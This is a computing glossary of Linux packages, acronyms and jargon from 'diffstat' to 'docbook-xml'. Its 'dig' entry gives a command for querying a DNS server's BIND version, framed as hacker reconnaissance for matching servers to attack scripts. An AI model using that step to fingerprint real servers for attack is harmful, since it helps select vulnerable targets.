The diff command compares files line by line. Diffstat reads theoutput of the diff command and displays a histogram of the insertions, deletions, and modifications in each file. Diffstat is commonly used to provide a summary of the changes in large, complex patch files. Install diffstat if you need a program which provides a summary of the diff command's output. You also need to install diffutils. 
diffutils
Diffutils includes four utilities: diff, cmp, diff3 and sdiff. * Diff compares two files and shows the differences, line by line. * The cmp command shows the offset and line numbers where two files differ, or cmp can show the characters that differ between the two files. * The diff3 command shows the differences between three files. Diff3 can be used when two people have made independent changes to a common original; diff3 can produce a merged file that contains both persons' changes and warnings about conflicts. * The sdiff command can be used to merge two files interactively. Install diffutils if you need to compare text files. 
DIFMOS
Double Injection Floating Gate MOS 
dig
DNS lookup utility 
dig (domain internet groper)
A tool for system administrators, dig sends DNS queries at the target server and decodes the replies. It is part of the BIND DNS server from the Internet Software Consortium. It is also popular with hackers because it allows fine-tuned queries to be crafted. Key point: Hackers like to run the following command in order to query the version of BIND: dig -t txt -c chaos VERSION.BIND @ns1.example.com The BIND server supports a kludge whereby a "chaos" "txt" record contains the version number of the server. You can look this up in your script-kiddy version list in order to figure out what scripts this server is vulnerable to. Here are some results I get back from this command: 4.9.6-REL RedHat 5.0 (Hurricane) 8.2.1 Mandrake 6.1 (Helios) SERVFAIL Solaris 2.6 NOTIMP WinNT DNS 8.2.2-P5 RedHat 6.2 A result of "SERVFAIL" means either that the target isn't running BIND, or that it is running a version of BIND older than 4.9.5. The result of "NOTIMP" means the server doesn't implement this type of query, which is returned by Microsoft's server. See also: DNS, BIND. 
Digerati
The digital version of literati, it is a reference to a vague cloud of people seen to be knowledgeable, hip, or otherwise in-the-know in regardsto the digital revolution. 
DIGI
Deutsche InteressenGemeinschaft Internet [e.v.] (org., ISP) 
Digital
A data signal transmitted using discrete steps in voltage rather than frequency, as in an analog signal. From Glossary of Distance Education and Internet Terminology
digital signature
An authentication code used especially in email which can be used as a traditional written signature. Digital signatures cannot be forged because the signature is created with a sender's secret key and can be verified by a recipient using the sender's public key. 
digitaldj
An SQL based mp3 player front-end DigitalDJ is an SQL-based front-end to the mpg123 mp3 player designed for people who want to create an mp3 version of their CD collection. It is designed to work with the Grip ripping/encoding application (but can be used separately). When Grip encodes mp3 files, it will place all of the song information into an SQL database. DigitalDJ can then use this information to create playlists based on a number of criteria. You will need a MySQL server, which can either be on the local or a remote host. 
DII
Defense Information Infrastructure (mil., USA, DISA) 
DII
Dynamic Invocation Interface 
DIICC
Defense Information Infrastructure Control Concept (mil., USA) 
DIICOE
Defense Info Infrastructure Common Operating Environment (DISA, mil., USA), "DII COE" 
DIL
Dual InLine 
dillo
GTK-based web browser Dillo aims to be a multiplataform browser alternative that's small, stable, developer-friendly, usable, fast, and extensible. Dillo is mainly based on GTK+ (GNOME is NOT required!) Dillo is very fast! 
DIME
Desktop Integrated Media Environment (COSE) 
DIME
DIrect Memory Execute (AGP) 
DIMM
Dual Inline Memory Module (IC) 
DIMSS
DSN Integrated Management Support System (DSN, mil., USA) 
DIN
Deutsches Institut fuer Normung (org.) 
DINAH
Desktop INterface to AUTODIN Host (AutoDIN, mil., USA) 
ding
Dictionary lookup program for Unix This is "Ding" * a dictionary lookup program for Unix, * DIctionary Nice Grep, * a Tk based Front-End to [ae]grep, ispell, dict, ... * Ding {n} :: thing This package needs agrep(1) or egrep(1) as a back end. agrep from the glimpse package is preferable, because it supports fault tolerant searching. You have to install some translation dictionary word list with a word/phrase in two languages in one line with some kind of separator between them. The default configuration of ding uses the German-English dictionary which can be found in the trans-de-en package, but you can use every other translation word lists with one entry per line. 
DINO
Deutsches InterNet Organisationssystem (WWW, Uni Goettingen, Germany) 
DIP
Dial-up Internet Protocol (Linux) 
DIP
Dual In-line Package (IC, DRAM) 
diploma
Write scientific papers with Debian Debian GNU/Linux is widely used at universities to do research and to write papers with LaTeX. The package diploma contains examples which illustrate the possible ways to do this effectively with Debian GNU/Linux. Each example consists of a source tree where you can do "make" in the top level directory and then the source code is compiled, the measurement data are processed, and the results are converted into nice figures. Then the text is processed and combined with the figures to a print file. 
dir
list directory contents 
dircolors
color setup for ls 
dircolors
outputs a sequence of shell commands to define the desired color output from ls (and dir, etc.). 
dircproxy
IRC proxy for people who use IRC from different workstations dircproxy is an IRC proxy server designed for people who use IRC from lots of different workstations or clients, but wish to remain connected and see what they missed while they were away. You connect to IRC through dircproxy, and it keeps you connected to the server, even after you detach your client from it. While you're detached, it logs channel and private messages as well as important events, and when you re-attach it'll let you know what you missed. This can be used to give you roughly the same functionality as using ircII and screen together, except you can use whatever IRC client you like, including X ones! 
dirdiff
Display and merge changes between two directory trees. Dirdiff can handle up to 5 trees. It displays a main window with a list of the files which are different between the trees, with colored squares to indicate the relative ages of the versions. A menu allows you to display the differences between any two of the versions in another window. Another menu allows you to copy the file from one tree to another. 
Directory
A list of files or other directories on a computer at an Internet site. From Glossary of Distance Education and Internet Terminology
Directory
The Unix equivalent of a 'folder' on a Macintosh, all files are stored in directories. A directory can be created with the mkdir command and empty directories are removed with rmdir. 
Directory Service
A directory is like a database, but tends to contain more descriptive, attribute-based information. The information in a directory is generally read much more often than it is written. As a consequence, directories don't usually implement the complicated transaction or roll-back schemes that regular databases use for doing high-volume complex updates. Directory updates are typically simple all-or-nothing changes, if they are allowed at all. 
directory-administrator
LDAP POSIX user/group manager for gnome. Directory administrator is an LDAP POSIX user/group manager. That, in plain English, means that it will allow you to easily manage your Linux/UNIX users and groups residing in an LDAP database. The 'rules' for this is defined in RFC2307. 
DIRMU
DIstributed and Reconfigurable MUltiprocessor (MP) 
dirname
Parse pathname components 
dirname
strip non-directory suffix from file name 
DIS
Defense Information System (mil., USA) 
DIS
Digital Identification Signal (HDLC) 
DIS
Draft International Standard (ISO) 
DISA
Data Interchange Standards Association (org.) 
DISA
Defense Information Systems Agency (org., mil., USA) 
DISAIS
DISA Information System (mil., USA), "DISA-IS" 
DISANET
DISA Information Network (mil., USA, DISA, network), "DISANet" 
DISC
Defense Information System Council (mil., USA) 
disc-cover
Generates CD-disc covers for jewel-cases Disc-cover generates a Postscript page of an audio cd, using the cddb database. Intermediate tex output is also possible. 
disclaimer
n. [Usenet] Statement ritually appended to many Usenet postings (sometimes automatically, by the posting software) reiterating the fact (which should be obvious, but is easily forgotten) that the article reflects its author's opinions and not necessarily those of the organization running the machine through which the article entered the network. 
discover
hardware identification system Discover is a hardware identification system based on the libdiscover1 library. Discover provides a flexible interface that programs can use to report a wide range of information about the hardware that is installed on a Linux system. In addition to reporting information, discover includes support for doing hardware detection at boot time. Detection occurs in two stages: The first stage, which runs from an initial ramdisk (initrd), loads just the drivers needed to mount the root file system, and the second stage loads the rest (ethernet cards, sound cards, etc.). 
DISK
Deutschsprachige Internationale SAS-benutzer Konferenz 
diskd
disk daemon; wait for disk to be inserted TQ 
diskette
Portable storage medium using magnetic disk of 3 1/2" or 5 1/4" in size and usually storing between 740KB to 1.44MB of data. 
diskless
Generate NFS file structure for diskless boot. This package comes with two programs, diskless_newimage, and diskless_newhost to simplify setting up and maintaining diskless clients NFS-Root file structure. These programs ask user friendly questions to aid configuration of the diskless system to the administrators preference. Either the diskless-image-simple or diskless-image-secure packages are required to be available (NOT INSTALLED!) in order to use this package. 
Diskless workstation
In a local area network (LAN), a workstation that has a central processing unit (CPU) and random-access memory (RAM) but lacks its own disk drives. Diskless workstations ensure that everyone in an organisation prodics compatible data and helps reduce security risks. However, diskless workstations cause serious loss of speed, flexibility, and originality and with greater vulneratibility to the effects of a disk or system crash. 
diskseekd
disk seek daemon; simulates Messy Dos' drive cleaning effect TQ 
DISN
Defense Information Systems Network (mil., USA) 
DISNET
Defense Integrated Secure Network (network, mil., USA, predecessor, DSNET) 
DISNNT
Defense Information Systems Network - Near Term (DISN, mil., USA), "DISN-NT" 
DISOSS
DIStributed Office Support System (IBM, MVS) 
DISP
Directory Information Shadowing Protocol 
DISP
Draft International Standardized Profiles (ISO) 
DISP
Dutch Independent Shareware Programmer (org., Netherlands), "D.I.S.P." 
display-dhammapada
Displays verses from the Dhammapada. Displays a random verse (a dhammapada) from an English translation of the Dhammapada. It works similarly to fortune, so you can put it in your shell startup script. 
DISSP
Defense Information System Security Program (mil., USA) 
dist
Tools for developing, maintaining and distributing software. The dist package is a set of tools meant to ease the construction and maintenance of portable software. The first component is the Configure script generator, metaconfig, which automatically builds the Configure script from your sources. Ideally, the end-user receiving your source code will simply have to read your README file, run the Configure script (which is self-documented), and then run make. The second component is the Makefile.SH generator, which is a generic configured Makefile, reusing some of the information figured out by Configure, and a generic Jmakefile description. The third component is the RCS aware package generator, which is used when it's time to build up the shell archives used to distribute your program. The fourth and latest component is the patch generator, used to make updates of your sources, which can later be applied on the original distribution by using the patch program. The upstream sources for this packlage may be downloaded from CPAN, like so: http://search.cpan.org/doc/RAM/dist-3.0@70 
Distance Education
Conveying knowledge from a distance. The organizational framework and process of providing instruction at a distance. Distance education takes place when a teacher and student(s) are physically separated, and technology such that voice, video, data and/or print is used to bridge the instructional gap. From Glossary of Distance Education and Internet Terminology
Distance Learning
The term Distance Learning is typically used describe video-enabled instruction (integrated voice, data, and video transmissions) in college, university, medical school or kindergarten through the twelfth-grade environment. Distance Learning permits especially gifted teachers to reach an almost limitless number of students around the world. From Glossary of Distance Education and Internet Terminology
distinguished name (DN)
The six (6) fields comprising the certificate signing request in a SSL or TLS transaction. 
distmp3
Client/daemon for distributed MP3 compression over TCP/IP Client (distmp3) and a daemon (distmp3host) for distributed mp3-encoding across multiple hosts on a network. 
Distribution
A packaging of the Linux kernel (core) with various user interfaces, utilities, drivers, and other software into a user deliverable. Often available as a free download or in a low-cost CD-ROM package. Popular distributions include Caldera OpenLinux, CoreLinux, Debian, Red Hat, Slackware, SuSE, TurboLinux and others. 
distribution
n. 1. A software source tree packaged for distribution; but see kit. Since about 1996 unqualified use of this term often implies `Linux distribution'. The short for distro is often used for this sense. 2. A vague term encompassing mailing lists and Usenet newsgroups (but not BBS fora); any topic-oriented message channel with multiple recipients. 3. An information-space domain (usually loosely correlated with geography) to which propagation of a Usenet message is restricted; a much-underutilized feature. 
Distribution System
Any program that can be received by a satellite antenna and distributed into several viewing areas. From Glossary of Distance Education and Internet Terminology
DIT
Directory Information Tree (X.500) 
DITCO
Defense Information Technology Contracting Office (org., mil., DISA, USA) 
ditty
Allows you to play melodies from your built-in speaker Ditty enables you to play simple melodies from the command line. It does NOT require a sound card, as it can use the built-in speaker to play these melodies just as easily. (Note: in order for the built-in speaker to be used, ditty's stdout must be connected to a tty. Certain terminal emulators, such as xterm, don't support the sound controls. If you aren't using the sound card method, you should generally run ditty from a *real* pseudo-terminal). Some things that may make ditty fun to use are: Adding sound-effects to .bash_login and .bash_logout or other shellscripts. 
DIU
Digital Interface Unit 
DIVE
Direct Interface Video Extensions (IBM, MMPM/2) 
divine
Automatic IP configuration detection for laptops A utility to locate current network address via arp requests and perform light reconfigurations based on its findings. "divine" is intended for laptop users or people who use their machines in different networks all the time. It is meant to be run from the PCMCIA network initialization scripts. For more information see: http://www.fefe.de/divine 
DIVX
DIgital Video eXpress (DVD), "Divx" 
DIX
DEC, Intel, Xerox (ethernet, DEC, Intel, Xerox) 
djbdns-installer
Source only package for building djbdns The following were taken from various HTML pages under http://cr.yp.to/djbdns.html/ dnscache is a local DNS cache. It accepts recursive DNS queries from local clients such as web browsers and mail transfer agents. It collects responses from remote DNS servers. It caches the responses to save time later. tinydns is a DNS server. It accepts iterative DNS queries from hosts around the Internet, and responds with locally configured information. pickdns is a load-balancing DNS server. It accepts iterative DNS queries from hosts around the Internet, and responds with a dynamic selection of locally configured IP addresses with 5-second TTLs. walldns is a reverse DNS wall. It accepts iterative DNS queries for in-addr.arpa domains from hosts around the Internet, and supplies generic responses that avoid revealing local host information. rbldns is an IP-address-listing DNS server. It accepts iterative DNS queries from hosts around the Internet asking about various IP addresses. It provides responses showing whether the addresses are on a locally configured list, such as RBL or DUL. axfrdns is a DNS zone-transfer server. It reads a zone-transfer request in DNS-over-TCP format from its standard input, and responds with locally configured information. The security of this software is guaranteed by the author. Details of the guarantee can be found at http://cr.yp.to/djbdns/guarantee.html 
djtools
Tools for HP DeskJet printer. These tool purpose is to make better use of the HP DeskJet. They allow to send commands to a printer as well as make better use of the HP DeskJet's text modes. These programs were written for the HP DeskJet 500 series but should work with all printers that understand HP PCL. 
DKE
Deutsche Elektrotechnische Kommission (org., DIN, VDE) 
DKRZ
Deutsches KlimaRechenZentrum (org.) 
DL
Distribution List 
DLC
Data Link Control 
DLCI
Data Link Connection Identifier (ATM) 
DLD
Deutsche Linux Distribution (Linux) 
DLE
Data Link Escape 
DLG
Digital Line Graph 
dlint
Checks dns zone information using nameserver lookups This program analyzes any DNS zone you specify, and reports any problems it finds by displaying errors and warnings. Then it descends recursively to examine all zones below the given one (this can be disabled with a command- line option). You don't have to feed any BIND conffiles to Dlint. Dlint uses nameserver calls to gather information. Designed for Unix, dlint is written in Bourne Shell and Perl. You may try it online at http://www.domtools.com/dns/dlint.shtml (this server imposes a timeout period; to lint a big zone, you should install dlint yourself and use it locally - that's what this package is for). 
dlint
Internet Domain Name System (DNS) error checking utility 
DLKL
??? (DB) 
DLL
Delay Locked Loop (GDR-SDRAM) 
DLL
Dynamic Link Library 
DLL
Dynamic Link Loader (BS2000) 
DLL
Dynamically Linked Library, a library linked to an executable program at run-time. 
dlocate
fast alternative to dpkg -L and dpkg -S uses GNU locate to greatly speed up finding out which package a file belongs to (i.e. a very fast dpkg -S). many other uses, including options to view all files in a package, calculate disk space used, view and check md5sums, list man pages, etc. 
DLP
Digital Light Processing (TI) 
DLP
Discrete Logarithmic Problem 
DLPI
Data Link Provider Interface (X/Open) 
DLR
Dynamic Link Routine 
DLS
DOS LAN Services (IBM, LAN Server) 
DLS
DownLoadable Sounds 
DLSW
Data Link SWitching (APPN, MPTN, RFC 1795, SNA, NETBIOS), "DLSw" 
DLT
Digital Line Tape (DEC, Streamer) 
DLX
DLX is a full featured Linux system running on Intel PCs. DLX comes on a single 3.5" floppy disk. DLX also supports a parallel-port ZIP-Drive drive. Good for network trouble-shooting and/or FTPing from a university pc-lab. Last new version was released in 1996. Distribution development is not all that active.
DM
Delta Modulation 
DM
DeMilitarisierte zone (Firewall) 
DM
Development Machine (Corel) 
DM
Disconnect Mode (LAPB) 
DMA
Direct Memory Access (DMA) 
DMAC
Direct Memory Access Controller 
dmachinemon
Network-wide monitoring suite for monitoring machine status For monitoring a bunch of network-connected computers, dmachinemon is an ideal software. It can be used to show load average, available memory, and top processes running on each machine. Includes convenience scripts, and other tools. dmachinemon-html needs to be available on html-generating system 
dmachinemon-gtkiface
Network-wide monitoring suite for monitoring machine status For monitoring a bunch of network-connected computers, dmachinemon is an ideal software. It can be used to show load average, available memory, and top processes running on each machine. this package contains dmachinemon-gtkiface a GTK+ interface to dmachinemon 
dmachinemon-master
Network-wide machine monitoring suite -- master For monitoring a bunch of network-connected computers, dmachinemon is an ideal software. It can be used to show load average, available memory, and top processes running on each machine. This package includes dmachinemon-master, which needs to be installed on the master system. 
dmachinemon-servent
Network-wide monitoring suite -- servent For monitoring a bunch of network-connected computers, dmachinemon is an ideal software. It can be used to show load average, available memory, and top processes running on each machine. This package includes dmachinemon-servent, for servent systems, which often are cluster nodes. A servent system is a node which does the role of a server and a client, providing and requesting information at the same time. 
dmachinemon-treeview
Network-wide machine monitoring suite - topology viewer For monitoring a bunch of network-connected computers, dmachinemon is an ideal software. It can be used to show load average, available memory, and top processes running on each machine. Includes network topology debugging (tree structure viewing) suite. 
dmail
procmail Mail Delivery Module 
dmalloc
Debug memory allocation library (non-threaded) Drop in replacement for the system's `malloc', `realloc', `calloc', `free' and other memory management routines while providing powerful debugging facilities configurable at runtime. These facilities include such things as memory-leak tracking, fence-post write detection, file/line number reporting, and general logging of statistics. 
DMAP
DECT Multimeda Access Protocol (DECT) 
dmapi
Data Management API runtime environment Files required by system software using the Data Management API (DMAPI). This is used to implement the interface defined in the X/Open document: Systems Management: Data Storage Management (XDSM) API dated February 1997. This interface is implemented by the libdm library. 
DMB
Digital Multimedia Broadcasting (Telekom, Blaupunkt, DAB) 
dmbt
Debian maintainer's bug-tool A GNOME-based tool and a set of perl packages to help a Debian maintainer manage the bugs reported against his/her packages. This software is in the very early stages of development. All feedback will be appreciated. 
DMC
Desktop Multimedia Conferencing 
DMCA
Digital Millennium Copyright Act (USA) 
DMD
Device Manager Driver (OS/2) 
DMD
Differential Mode Delay (Gigabit-, ethernet) 
DMD
Digital Micromirror Device (IC, DLP, TI) 
DMD
Directory Management DOMAIN (OSI, DS) 
DMDAC
Dual MAC Dual Attached Concentrator (FDDI, DAC) 
DMDD
Distributed Multiplexing Distributed Demultiplexing 
DMDF
Distributed Management Data Facility (DCE, DME) 
DME
Direct Memory Execution 
DME
Distributed Management Environment (OSF) 
DMERT
Duplex Multiple Environment, Real Time (OS, MERT) 
dmesg
print or control the kernel ring buffer 
DMF
Digest Message Format (Internet, RFC 1153) 
DMF
Distribution Media Format [diskette] (FDD) 
DMI
Definition of Management Information (OSI) 
DMI
Desktop Management Interface (DTMF, DMI, BIOS) 
DMI
Digital Multiplexed Interface 
DML
Data Manipulation Language 
DML
Data Manipulation Logic 
DML
Distributed Mode Loudspeaker (audio) 
DMOS
Diffusion Metal Oxide Semiconductor (IC) 
DMP
Dot Matrix Printer 
dmp
translate Troff output to low-level MetaPost input 
DMS
Data Management System 
DMS
Defense Message System (mil., USA) 
DMS
Digital Multiplexed System 
DMS
Disk Monitor System (OS, IBM) 
DMS
Distributed Media Services (COSE) 
DMS
Document Management System 
DMSCMS
Display Management System/Conversional Monitor System, "DMS/CMS" 
DMSIG
Defense Message System Implementation Group (org., DMS, mil., USA) 
DMSP
Distributed Mail System Protocol (Internet) 
DMSTWG
Defense Message System Transition Working Group (org., DMS, mil., USA) 
DMT
Discrete Monitor Timings (VESA) 
DMT
Discrete Multitone Technology (ADSL, Amati Communications, ANSI) 
DMTF
Desktop Management Task Force 
DMTU
Default Maximum Transmission Unit (MTU), "D-MTU" 
DMU
Data Manipulation Unit 
DMV
Daten- und MedienVerlag 
DMV
Deutsche Mathematiker-Vereinigung (org.) 
DMZ
DeMilitarized Zone (LAN, Internet) 
DMZ (Demilitarized Zone)
In firewalls, a DMZ is an area that is mostly public to the Internet. This is where a companies web, e-mail, and DNS servers are located. A DMZ often has some limited protection, but since it is very exposed to the Internet, the assumption is that the machines in the zone will eventually be compromised. Therefore, the machines often have as little connectivity to the private network as any other machine from the Internet. 
DN
Distinguished Name (X.500) 
DN
Distribution Network 
DN
See distinguished name (DN). 
DNA
Digital Network Architecture (DEC) 
DNA
Direct Network Attach (Xyratex, RAID) 
DNA
Distributed Network Architecture (NCR) 
DNAE
DatenNetz-AnschlussEinrichtung (Telekom) 
DNAT
Dynamic Network Address Translation 
DNC
Direct Numerical Control (CNC) 
DNC
Dynamic Network Controller 
DNCMPE
Direct Numerical Control / ??? (CNC), "DNC/MPE" 
DNCP
[PPP] DECNet phase iv Control Protocol (RFC 1762, DECNET, PPP) 
DNCRI
Division of Networking and Communication Research and Infrastructure 
DND
Den Norske Dataforening (org., Norway) 
dnet-common
Base package for Linux DECnet This is the base package for Linux DECnet. it contains the necessary configuration files and a script to set up the MAC address of your ethernet card(s) at boot-up. You will also need to be running a 2.4+ kernel and have DECnet either built as a module or compiled into the kernel. To do useful work with DECnet you will need the libdnet package and probably also dnet-progs. 
dnet-progs
DECnet user programs and daemons These tools are the application layer interface for DECnet on Linux systems. They provide file/terminal access facilities between OpenVMS and Linux and remote execution of commands. Also included is a Linux version of the VMS "Phone" utility and a VMSMail to SMTP gateway. 
DNHR
Dynamic Non Hierarchical Routing 
DNI
De.Newusers.Info (Usenet) 
DNI
DECnet Network Interface 
DNIC
Data Network Identification Code (X.121) 
DNQ
De.Newusers.Questions (Usenet) 
DNR
Digital Noise Reduction 
DNS
DOMAIN Name System (Internet, RFC 1034/1035, DNS) 
DNS
See domain name system (DNS). 
DNS (Domain Name System)
Analogy: When calling somebody via the telephone, you can lookup their name in the phone book in order to find the telephone number. DNS is a similar directory service. When contacting a web site, your browser looks up the name in DNS in order to find the IP number. History: DNS is relatively new. When the Internet was small, every machine simply had a list of all other machines on the Internet (stored in /etc/hosts). Generally, people just had the IP addresses of machines memorized in much the same way that people memorize phone numbers today. Key point: DNS is not needed for communication. If a DNS server goes down, newbies will think that the entire network is down. Hackers frequently deal with raw IP addresses, and indeed often bypass DNS entirely as it may give off signs of an attack. Key point: The DNS hierarchy starts from the "top level domains" of .com, .net, .org, .edu, .giv, .mil, and the two-letter country codes (e.g. .us for United States, .jp for Japan). Misunderstanding: Both IP addresses and domain names use dots: "www.robertgraham.com" vs. "192.0.2.133". This has no significance; the usage of these dots is unrelated. Trying to match things up one-to-one is wrong (i.e. ".com" == "192."). Analogy: What is your phone number? If I asked you this, you could give me both your home number and your cell phone number. I can reach you at either one. In much the same way, the a domain name like http://www.yahoo.com/ can have multiple IP addresses. Every time you visit that site, you might go to a separate IP address. You can test this out yourself. Go to the command-line and type "ping www.yahoo.com". Notice how it comes back with an IP address that it pings. After that runs, try it again. Notice how the second time it is pinging a different IP address. Details: DNS provides a number of resource records (RR): A ^ The normal record that contain an name to IP address mapping. LOC ^ The geographic location containing latitude, longitude, altitude, and size. Altitude is meters above sea level. Size is the exponent in the in meters of the volumetric size of the object. Hackers sometimes use these records to find where you are located physically. Humor: The original name of this record was ICBM. HOST ^ HOST records can contain information about the machine, such as if it is a Windows or UNIX machine. Administrators probably should not fill them in; they are dangerous. PTR. 
DNS (Domain Name System)
This system maps hostnames to IP numbers. DNS is the Domain Name System. DNS converts machine names to the IP addresses that all machines on the net have. It translates (or "maps" as the jargon would have it) from name to address and from address to name, and some other things. This HOWTO documents how to define such mappings using Unix system, with a few things specific to Linux. A mapping is simply an association between two things, in this case a machine name, like ftp.linux.org, and the machine's IP number (or address) 199.249.150.4. DNS also contains mappings the other way, from the IP number to the machine name; this is called a "reverse mapping". DNS is, to the uninitiated (you ;-), one of the more opaque areas of network administration. Fortunately DNS isn't really that hard. This HOWTO will try to make a few things clearer. It describes how to set up a simple DNS name server, starting with a caching only server and going on to setting up a primary DNS server for a domain. For more complex setups you can check the qanda section of this document. If it's not described there you will need to read the Real Documentation. I'll get back to what this Real Documentation consists of in the last chapter. Before you start on this you should configure your machine so that you can telnet in and out of it, and successfully make all kinds of connections to the net, and you should especially be able to do telnet 127.0.0.1 and get your own machine (test it now!). You also need good /etc/nsswitch.conf, /etc/resolv.conf and /etc/hosts files as a starting point, since I will not explain their function here. If you don't already have all this set up and working the Networking-HOWTO and/or the Networking-Overview-HOWTO explains how to set it up. Read them. When I say `your machine' I mean the machine you are trying to set up DNS on, not any other machine you might have that's involved in your networking effort. I assume you're not behind any kind of firewall that blocks name queries. If you are you will need a special configuration --- see the section on qanda. Name serving on Unix is done by a program called named. This is a part of the ``BIND'' package which is coordinated by The Internet Software Consortium. Named is included in most Linux distributions and is usually installed as /usr/sbin/named, usually from a package called BIND, in upper or lower case depending on the whim of the packager. If you have a named you can probably use it; if you don't have one you can get a binary off a Linux ftp site, or get the latest and greatest source from ftp://ftp.isc.org/isc/bind9/. This HOWTO is about BIND version 9. The old versions of the HOWTO, about BIND 4 and 8, is still available at http://langfeldt.net/DNS-HOWTO/ in case you use BIND 4 or 8 (incidentally, you will find this HOWTO there too). If the named man page talks about (at the very end, in the FILES section) named.conf you have BIND 8; if it talks about named.boot you have BIND 4. If you have 4 and are security conscious you really ought to upgrade to the latest version of BIND 8. Now. DNS is a net-wide database. Take care about what you put into it. If you put junk into it, you, and others, will get junk out of it. Keep your DNS tidy and consistent and you will get good service from it. Learn to use it, admin it, debug it and you will be another good admin keeping the net from falling to its knees by mismanagement. Tip: Make backup copies of all the files I instruct you to change if you already have them, so that if after going through this nothing works you can get it back to your old, working state. From DNS-HOWTO
dns-browse
Frontends to DNS search. This package provides two programs to make user lookups on DNS servers: dns_tree and dns_browse. dns_tree is a command-line-based front-end to dig. It replaces the several dig invocations necessary to fetch a zone, and it formats the output in a somewhat sensible hierarchical style (a tree). dns_browse is a GUI front-end to dns_tree. It allows point-and-click DNS browsing and makes it easy to expand/compress hierarchies in one or more DNS zones. 
dns-helper
Non-blocking name resolver interface. 
dnscvsutil
Maintain DNS zone files under CVS control Maintain your DNS zone files under CVS control, and possibly automatically updating reverse zones. 
dnsdomainname
show the system's DNS domain name 
dnsmasq
A caching DNS forwarder. Dnsmasq is lightweight, easy to configure DNS forwarder designed to provide DNS (domain name) services to a small network where using BIND would be overkill. It can be have its upstream DNS servers automatically configured by PPP or DHCP and it can serve the names of local machines which are not in the global DNS. It can integrate with the ISC DHCP daemon to serve the names of local machines which are configured using DHCP. Dnsmasq is ideal for networks behind NAT routers and connected via modem, ISDN, ADSL, or cable-modem. 
DNSO
Defense Network Systems Organization (org., USA, mil.) 
DNSO
Domain Name Supporting Organization (org., ICANN) 
DNSSEC
A secure form of DNS. Its primary use is for updating DNS servers. TODO Algorithms: RSA, MD5. 
dnssec-keygen
DNSSEC key generation tool 
dnssec-makekeyset
DNSSEC zone signing tool 
dnssec-signkey
DNSSEC key set signing tool 
dnssec-signzone
DNSSEC zone signing tool 
DNSTAN
Digitale NebenSTellenANlagen (Telekom), "DNStAn" 
dnstracer
Trace DNS queries to the source dnstracer determines where a given Domain Name Server (DNS) gets its information from for a given hostname, and follows the chain of DNS servers back to the authoritative answer. 
dnsutils
Clients provided with BIND This package delivers various client programs related to DNS that are derived from the BIND source tree. 
dnswalk
Checks dns zone information using nameserver lookups dnswalk is a DNS debugger. It performs zone transfers of specified domains, and checks the database in numerous ways for internal consistency, as well as accuracy. 
DNUG
Deusche Notes User Group [e.v.] (org., user group, Lotus) 
DNX
Departmental Network eXchange [bridging router] (SNA, SDLC, Proteon) 
DO
Distributed Objects (NeXT) 
DOAM
Distributed Office Applications Model (ISO, IEC, DIS 10031-1 f.) 
doc
/dok/ n. Common spoken and written shorthand for `documentation'. Often used in the plural `docs' and in the construction `doc file' (i.e., documentation available on-line). 
DOC
De.Org.CCC (Usenet, CCC) 
doc++
A documentation system for C/C++, IDL and Java DOC++ is a documentation system for C/C++, IDL and Java generating both LaTeX output for high quality hardcopies and HTML output for sophisticated online browsing of your documentation. The documentation is extracted directly from the C/C++/IDL header/source files or Java class files. Here are a list of the highlights: - hierarchically structured documentation - automatic class graph generation (as Java applets for HTML) - cross references - high end formating support including typesetting of equations For more information about DOC++ please take a look at it's home page at http://docpp.sourceforge.net/ 
doc-base
Utilities to manage online documentation This package contains utilities to manage online documentation on a Debian system. If you want to get additional information about doc-base please check out the `Debian doc-base Manual' included in this package. 
doc-central
web-based documentation browser Doc-Central is a tool to browse the documentation installed on your system using their doc-base entries. 
doc-debian
Debian Project documentation, Debian FAQ and other documents The Debian Project is an association of individuals who have made common cause to create a free operating system. In this package, you will find: * Debian Linux Manifesto, * Constitution for the Debian Project, * Debian GNU/Linux Social Contract, * Debian Free Software Guidelines. Additionally provided are: * Debian GNU/Linux Frequently Asked Questions (FAQ), * Debian Bug Tracking System documentation, and * Introduction to the Debian mailing lists. All of these files are available at ftp://ftp.debian.org/debian/doc/ and mirrors thereof. 
docbook
SGML DTD for authors of technical documentation DocBook is an SGML vocabulary particularly well suited to books and papers about computer hardware and software (though it is by no means limited to these applications). It has emerged as an open, standard DTD in the software industry, and is used to document many free software projects. This package contains the SGML DTD for DocBook, which describes the formal structure of documents complying this format. If you wish to author XML documents, see the 'docbook-xml' package. It is a part of Debian's SGML/XML infrastructure, along with other DTDs, tools for parsing, validating, and styling, and formatting SGML and XML documents. This package includes the 2.4.1, 3.0, 3.1, 4.0, and 4.1 versions of the DocBook SGML DTD. 
docbook-dsssl
Modular DocBook DSSSL stylesheets, for print and HTML This package enables the use of DSSSL styling (formatting for output) with DocBook SGML or XML files. This package contains two DocBook DSSSL stylesheets, one for "print" output and one for HTML. The print stylesheet can be used in conjunction with the RTF and the TeX back-ends that Jade provides to produce output suitable for printing. The HTML stylesheet can be used to convert DocBook documents into HTML. The stylesheets are modular in design so that you can extend and customize them. Author: Norman Walsh <ndw@nwalsh.com> Homepage: http://docbook.sourceforge.net/ 
docbook-dtds
The DocBook Document Type Definition (DTD) describes the syntax oftechnical documentation texts (articles, books and manual pages). This syntax is XML-compliant and is developed by the OASIS consortium. This package contains SGML and XML versions of the DocBook DTD up toand including version 4.1.2. 
docbook-style-dsssl
This package contains DSSSL stylesheets for converting any DocBook document to another printed (for example, RTF or PostScript) or online (for example, HTML) format. These stylesheets are highly customizable. 
docbook-style-xsl
These XSL stylesheets allow you to transform any DocBook XML document to other formats, such as HTML, FO, and XHTML. They are highly customizable. 
docbook-to-man
Converter from DocBook SGML into roff -man macros. The docbook-to-man tool is a batch converter that transforms UNIX-style manpages from the DocBook SGML DTD into nroff/troff -man macros. This is not the original version by Fred Dalrymple, but one with the ANS modifications by David Bolen. 
docbook-utils
Convert Docbook files to other formats (HTML, RTF, Postscript, PDF) The docbook-utils is a set of a few small programs intended to ease everyday use of technical documentation software and more generally use of SGML and XML. Tasks they currently accomplish are: * jw: convert Docbook files to other formats (HTML, RTF, Postscript, PDF). * sgmldiff: detect the differences in markup between two SGML files. 
docbook-utils
This package contains scripts are for easy conversion from DocBookfiles to other formats (for example, HTML, RTF, and PostScript), andfor comparing SGML files. 
docbook-utils-pdf
This package contains a script for converting DocBook documents to PDF format. 
docbook-website
XML Website DTD and XSL Stylesheets A docbook-derived XML DTD for building web sites. This package includes the xsl stylesheets for this DTD. This version is a customization of the DocBook XML V4.1.2 DTD. Author: Norman Walsh <ndw@nwalsh.com> Homepage: http://sourceforge.net/projects/docbook/ 
docbook-xml
